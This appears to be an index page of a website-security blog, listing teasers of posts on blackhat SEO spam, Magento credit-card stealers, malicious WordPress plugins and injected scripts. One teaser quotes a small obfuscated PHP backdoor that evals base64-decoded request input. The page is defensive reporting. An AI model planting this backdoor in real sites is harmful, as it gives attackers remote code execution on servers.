Hacked Websites Redirect to Porn from PDF / DOC Links
Denis Sinegubko We write a lot about various blackhat SEO hacks on this blog and most of you are already familiar with such things as doorways, cloaking…
Backdoor Evolution: From Eval to Include
There used to be this backdoor that was mainly uploaded via old Gravity Forms vulnerabilities: < script language=”php” > $a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100). chr(101).chr(99).chr(111).chr(100).chr(101); e v a l($a($_REQUEST[sam]));</script>…
Fake Rating Rich Snippets
It’s quite a common black hat SEO practice to insert fake rating rich snippets on doorway pages to make them attract more attention on search…
Remote WordPress Brute Force Tools
Just a quick reminder: Don’t use common words and easy character combinations as passwords. Your compromised site can be used to hack third-party sites. A…
When a WordPress Plugin Goes Bad
Update March 7: The WordPress Directory team investigated and mitigated this issue by disconnecting the wooranker account from all plugins, reverting malicious changes in the…
Fake SUPEE-5344 Patch Steals Payment Details
Update 2/17: This post is not about hackers tricking webmasters into installing fake Magento security patch. It’s about malware that pretends to be an applied…
Magento PCI Compliance Issues and Theft Over TLS
With about 30% of the market share, Magento is gradually becoming a “WordPress” of the ecommerce world. Like WordPress, it becomes a major target for…
Massive Admedia/Adverting iFrame Infection
This past weekend we registered a spike in WordPress infections where hackers injected encrypted code at the end of all legitimate .js files. The distinguishing…
Encrypted Cc.php with credit card stealing code
The Magento Shoplift vulnerability had been patched about a year ago. And all this time we have been cleaning various Magento infections that steal customer…
Obfuscating display:none cloaking
We’ve seen lots of JavaScript tricks that hide injected spam from human visitors while making it look “visible” for search engines. The most popular approach…
Malicious Pastebin Replacement for jQuery
Website hackers are always changing tactics and borrowing ideas from each other. One of the challenges of website security is staying on top of those…